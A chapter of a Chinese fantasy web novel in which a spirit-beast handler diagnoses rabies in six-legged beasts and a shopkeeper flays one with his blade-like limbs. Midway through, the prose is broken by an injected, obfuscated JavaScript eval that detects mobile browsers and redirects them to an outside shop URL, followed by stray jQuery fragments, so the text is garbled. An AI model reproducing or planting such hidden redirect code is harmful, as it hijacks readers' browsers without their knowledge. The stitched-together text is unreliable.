啊?!敢情她关心的只是这个?
“当然收,就像你卖豌豆糕收钱一样!”何宥光在一旁帮腔。
大妈听了,眼睛一瞪,舌头朝何宥光甩过来,幸亏何宥光躲得快,没被舌头伤到。
佟辰感到脸上溅了一滴湿漉漉的东西,她有理由怀疑是大妈舌头上残留的口水,她感到一阵恶心。今天怎么净和舌头干上了!
于是,她更加急切想要离开前台:“快带我去看看你说的那些灵兽吧。”
大妈仍在和何宥光缠斗,佟辰说道:“他是我的,你让他跟我来。”
大妈听了,也没办法,带着一丝恋恋不舍收回了舌头。
大妈没有跟过来,继续在前面的店铺卖副食品,男人则带着警惕将佟辰往后引。
“你收多少钱?”男人问道。
佟辰想了想,道:“看你的动物数量吧,一只二十金币。”
“妈呀,你这买卖比我赚钱!”男人咂嘴。
他们走到一个封闭的铁皮建筑物前时,男人突然停住了脚步。
佟辰看得出,他是在思考要不要把他们隐藏的秘密透露给佟辰这个陌生人。
“我要不把它们给你拎出来……”男人道。
如果进不去那个房间,等于白来,佟辰不想因此错失机会。
“不用,陆吾仙官不是也经常来吗?我是他手下的,不碍事。”佟辰微笑,说着言不由衷的话语,尽量表现出他们很熟络的感觉。
没想到,那男人听到陆吾的名字,反而露出一副恍然大悟的神情:“哦!我想起来了,他是说过有个处理灵兽的……原来是你啊!那快点,正好进来吧!”
男人魁梧的身材走在佟辰前面,大力打开了铁皮门。
佟辰看着他大大咧咧的笑容和凸起的肱二头肌,心想他真是头脑简单四肢发达的典型代表。
铁皮门一开,一股浓烈的腥臭味扑面而来。这味道,佟辰在潜龙渊那灵兽尸体聚集处闻到过。
何宥光身为狗,嗅觉更加灵敏,这味道对于他来说过于浓烈,引得他差点把早上偷吃的点心给吐出来。
男人却用脏兮兮的袖子抹了抹额头上的汗水,毫不在意:“就是这儿,你看看它们咋了?”
佟辰怀疑他的嗅觉功能有问题,闻不到这里有多臭。
但她还是屏住呼吸,尽量走了上去。
只见这铁皮房间像是个屠宰场,周围的桌子和墙上都是四射的血迹,但唯独没见到刀具。
房间东南角有许多麻袋,里面不知装着什么东西,系得紧紧的。
在另一侧的角落里,则躺着几十条灰黑色像细犬一样的灵兽,只不过它们每一只都有六条腿,它们头上也都有金色光圈,只不过现在处于黯淡。
何宥光跟着进来,在它们旁边嗅闻一阵,试图用汪汪声唤醒它们,但无济于事。
那男人道:“你得让它们活着,要不头上那玩意儿不亮,我没法干活。”
佟辰从之前就发现,她在惕龙田见到的灵兽头上都有这个东西,但没人告诉她这金色光圈是做什么的。
于是,她试探问道:“它们头上那东西……为什么会亮?”
男人不耐烦,啐了一口唾沫在地上,使得佟辰不由得往后退了几步,以免被唾沫星子溅到。
“那他娘的谁知道?你去问你的头儿陆吾去!”
男人催促佟辰给那些狗看病。佟辰走近,只见它们下颌耷拉,无精打采,流着口水,嘴里发出嘶哑的微弱叫声。
而这叫声与普通狗类不同:“从……从……”
一时之间,佟辰以为自己能听懂狗语了,她奇怪地问男人:“它们说什么从?是从哪里来的意思?”
男人嘲讽地一笑:“你不是灵兽处理员吗?这你都不知道?它们名字就叫从从,因为叫声就是这么从啊从的。”
又涨知识了。佟辰看到这些狗有的频繁伸脖子做吞咽动作,有的后腿无力全身瘫痪倒地。
她有一种不好的预感。
“我需要取它们的血液和唾液做一下检测。”
男人不屑一顾,踮着脚,催促道:“爱取啥取啥,别弄死就行。”
佟辰取了其中几只的唾液和血液,从箱子中拿出她认为最有可能是的疾病的快速检测试剂盒。
“狂犬病?!真的吗?”何宥光看到了试剂盒上写的字,惊讶地问。
佟辰赶紧让他小点声:“嘘!如果真是这病,这一批从从恐怕都凶多吉少,咱们现在需要拖延一下时间。”
佟辰将取到的样本加入试纸条中,深吸一口气,静待结果。
当她看到那条浅浅的阳性线时,她的心不由得沉了下去。
果然,是这种病。可是,还有一个问题,症状已经如此明显,为什么只是弱阳性?
佟辰认为,有一个可能,就是这种疾病的病原体并不是狂犬病病毒,而是它的变异体,是专门在仙界流行的仙界狂犬病。
不过不管怎么说,佟辰还是要试着救一下。
她全副武装戴上了厚厚的橡胶手套,给这些从从注射了狂犬免疫球蛋白。这种被动免疫可能能起到一些作用,但佟辰不敢保证,特别是症状严重的恐怕……
“这就好了?就打一针?你这活儿真好干!不过在看到它们活蹦乱跳之前,我可不会付钱!”男人说道。
“那我们就等着吧。”佟辰说着,靠墙站立,她不着急,她有大把时间。
二人就这么等了半天,中间大妈进来巡视过一圈,和男人嘀嘀咕咕,不知道盘算些什么,佟辰也懒得问。反正他们这种人,不过是为了些小便宜罢了。
漫长的等待中,男人已经开始不耐烦。就连佟辰都已经站得脚发麻。
等到下午,终于事情有了起色。几条症状轻微的从从精神有些好转,可以站立了,更重要的是,它们头上的金色光圈也有了些颜色,不再灰蒙蒙。
“得得得,我得赶紧给它们处理了,颜色少就少赚点。”男人说着,朝那几条从从走去。
处理?佟辰有些不好的预感。
“你是要……杀了它们?”佟辰问。
“我就是把它们的皮毛剥下来。”男人说得轻巧,把屠杀这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17904927|212994||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
件事描述得像小学生写作业一般。
听到这句话,何宥光不由得咽了口口水,他已经开始对那些从从感同身受。
男人从墙边拎起一条刚刚才恢复了些金色的从从,往一旁的金属台拖去。
他还专门把那关着其他从从的笼子外面的遮布放下来,防止它们看到接下来的那一幕。
可是,这里没有刀,他怎么剥皮毛?
佟辰正疑惑着,只见男人脱下了外罩衫和外裤,露出长着茂密汗毛的四肢。
接着,他的四肢突然膨胀充血,从肉眼看去像是变成了硬邦邦的样子,甚至还带些反光。
男人似乎很引以为傲,回头对着不明所以的佟辰邪恶一笑:“没见过吧?我的四肢就是我的刀具!”
说着,他的手臂轻轻掠过从从的耳朵,一缕狗毛便被削了下来。
原来他和那位大妈都有着名不见经传的法术本领,难怪说话硬气呢,像是在本地住了一辈子的本地人那样硬气。
“所以,你的四肢都是武器?”佟辰问道。
“那可不,不止四肢,”男人坏笑着晃了晃下身,“还有第五条腿呢。”
佟辰无语地翻了个白眼,而男人则以为她是害羞地不敢看他,猥琐地笑出了声。
“我的意思是,你们都这么厉害,怎么就做这些工作呢?”佟辰问。
男人哼了一声:“你以为用法术干什么是你自己决定的?都得申请!娘的,干啥都要管!”
他正在发牢骚,手中一松,那只从从逃了下来,从他□□惊险逃走。
“小畜生,给我抓住它!”男人指着在一旁发呆的何宥光,要他帮忙。
何宥光这脾气当然不会这么听话地帮忙,他故意一个闪身,让从从溜了过去。
眼看从从就要从铁皮门逃走,突然一条满是刀刃的长舌拦住了它的去路。只要它再往前一步,就会被断头。
它只得停了下来,被身后赶到的男人用粗壮的手臂抓了起来。
它不肯服软,用嘴咬住了它附近唯一可以咬住的东西——何宥光那耷拉着的大耳朵。
“我靠!疼!”何宥光忍不住叫了一声,从从才松口,眼泪汪汪看着何宥光和佟辰。它试图撕咬男人,但即使破了皮,男人也无动于衷。
男人立刻挥舞起四肢,动作没有大开大合,却如庖丁解牛,在一分钟之内便将从从的整张皮肉剥离了下来。
血迹洇湿了台面,又流到地面,沾在他的脚底,而他毫不在意。
可怜的从从只剩下了没有皮肤的□□,它已经死去,双眼仍旧看向铁门外的方向,却失去了光芒。
男人将皮毛扔到一边,将从从连带着头上金色光圈的□□放在一旁的一个编织袋里。完成了任务之后,他吹着口哨看向佟辰,本以为她会被他的神武折服,没想到她面无表情。
佟辰见多了这些,她当然已经见怪不怪。
“我厉害不?”男人展示着他的臂膀。
佟辰冷笑一声,为了知道更多的秘密,她只能夹着嗓音:“厉害,你是我见过最厉害的副食品店主。”